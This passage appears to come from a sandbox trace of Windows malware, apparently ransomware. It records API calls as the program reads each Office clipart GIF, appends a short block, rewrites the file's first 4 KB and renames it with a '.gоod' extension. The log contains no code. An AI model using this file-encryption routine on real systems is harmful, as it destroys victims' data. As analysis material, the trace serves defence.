lpNumberOfBytesRead=0x1faedd28*=0xd9f, lpOverlapped=0x0) returned 1 [0143.234] CloseHandle (hObject=0x61c) returned 1 [0143.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", lpFilePart=0x0) returned 0x44 [0143.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.234] GetFileType (hFile=0x61c) returned 0x1 [0143.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.234] GetFileType (hFile=0x61c) returned 0x1 [0143.234] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1d9f [0143.234] WriteFile (in: hFile=0x61c, lpBuffer=0x350a500*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x350a500*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0143.234] CloseHandle (hObject=0x61c) returned 1 [0143.235] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", lpFilePart=0x0) returned 0x44 [0143.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.235] GetFileType (hFile=0x61c) returned 0x1 [0143.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.235] GetFileType (hFile=0x61c) returned 0x1 [0143.235] ReadFile (in: hFile=0x61c, lpBuffer=0x350c7c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x350c7c0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0143.731] CloseHandle (hObject=0x61c) returned 1 [0143.731] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", lpFilePart=0x0) returned 0x44 [0143.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.732] GetFileType (hFile=0x61c) returned 0x1 [0143.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.732] GetFileType (hFile=0x61c) returned 0x1 [0143.732] WriteFile (in: hFile=0x61c, lpBuffer=0x3481650*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3481650*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0143.732] CloseHandle (hObject=0x61c) returned 1 [0143.732] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", lpFilePart=0x0) returned 0x44 [0143.732] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0143.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0143.732] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e2e292, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1daf)) returned 1 [0143.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0143.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.gоod")) returned 1 [0143.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", lpFilePart=0x0) returned 0x44 [0143.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0143.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), fInfoLevelId=0x0, lpFileInformation=0x36137b0 | out: lpFileInformation=0x36137b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48)) returned 1 [0143.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0143.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", lpFilePart=0x0) returned 0x44 [0143.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.734] GetFileType (hFile=0x61c) returned 0x1 [0143.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.734] GetFileType (hFile=0x61c) returned 0x1 [0143.734] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0143.734] ReadFile (in: hFile=0x61c, lpBuffer=0x3613bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3613bc8*, lpNumberOfBytesRead=0x1faedd28*=0xb48, lpOverlapped=0x0) returned 1 [0143.735] CloseHandle (hObject=0x61c) returned 1 [0143.735] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", lpFilePart=0x0) returned 0x44 [0143.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.736] GetFileType (hFile=0x61c) returned 0x1 [0143.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.736] GetFileType (hFile=0x61c) returned 0x1 [0143.736] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1b48 [0143.736] WriteFile (in: hFile=0x61c, lpBuffer=0x3614e60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3614e60*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0143.736] CloseHandle (hObject=0x61c) returned 1 [0143.736] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", lpFilePart=0x0) returned 0x44 [0143.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.736] GetFileType (hFile=0x61c) returned 0x1 [0143.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.736] GetFileType (hFile=0x61c) returned 0x1 [0143.736] ReadFile (in: hFile=0x61c, lpBuffer=0x3617120, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3617120*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0143.770] CloseHandle (hObject=0x61c) returned 1 [0143.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", lpFilePart=0x0) returned 0x44 [0143.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.770] GetFileType (hFile=0x61c) returned 0x1 [0143.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.770] GetFileType (hFile=0x61c) returned 0x1 [0143.770] WriteFile (in: hFile=0x61c, lpBuffer=0x3615e78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3615e78*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0143.771] CloseHandle (hObject=0x61c) returned 1 [0143.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", lpFilePart=0x0) returned 0x44 [0143.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0143.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0143.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e7a73f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b58)) returned 1 [0143.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0143.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.gоod")) returned 1 [0143.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", lpFilePart=0x0) returned 0x44 [0143.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0143.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3693510 | out: lpFileInformation=0x3693510*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6)) returned 1 [0143.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0143.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", lpFilePart=0x0) returned 0x44 [0143.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.773] GetFileType (hFile=0x61c) returned 0x1 [0143.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.773] GetFileType (hFile=0x61c) returned 0x1 [0143.773] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0143.773] ReadFile (in: hFile=0x61c, lpBuffer=0x3693928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3693928*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0143.917] CloseHandle (hObject=0x61c) returned 1 [0143.948] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", lpFilePart=0x0) returned 0x44 [0143.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.949] GetFileType (hFile=0x61c) returned 0x1 [0143.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.949] GetFileType (hFile=0x61c) returned 0x1 [0143.949] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x33c6 [0143.949] WriteFile (in: hFile=0x61c, lpBuffer=0x3636490*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3636490*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0143.950] CloseHandle (hObject=0x61c) returned 1 [0143.950] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", lpFilePart=0x0) returned 0x44 [0143.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.950] GetFileType (hFile=0x61c) returned 0x1 [0143.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.950] GetFileType (hFile=0x61c) returned 0x1 [0143.950] ReadFile (in: hFile=0x61c, lpBuffer=0x3638750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3638750*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0143.983] CloseHandle (hObject=0x61c) returned 1 [0143.983] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", lpFilePart=0x0) returned 0x44 [0143.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.984] GetFileType (hFile=0x61c) returned 0x1 [0143.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.984] GetFileType (hFile=0x61c) returned 0x1 [0143.984] WriteFile (in: hFile=0x61c, lpBuffer=0x36374a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36374a8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0143.984] CloseHandle (hObject=0x61c) returned 1 [0143.984] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", lpFilePart=0x0) returned 0x44 [0143.984] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0143.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0143.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5209064b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x33d6)) returned 1 [0143.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0143.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.gоod")) returned 1 [0143.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", lpFilePart=0x0) returned 0x44 [0143.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0143.985] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), fInfoLevelId=0x0, lpFileInformation=0x36b6be0 | out: lpFileInformation=0x36b6be0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186)) returned 1 [0144.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0144.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", lpFilePart=0x0) returned 0x44 [0144.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0144.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.932] GetFileType (hFile=0x808) returned 0x1 [0144.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0144.932] GetFileType (hFile=0x808) returned 0x1 [0144.932] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0144.932] ReadFile (in: hFile=0x808, lpBuffer=0x366b260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x366b260*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0144.933] CloseHandle (hObject=0x808) returned 1 [0144.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", lpFilePart=0x0) returned 0x44 [0144.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0144.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 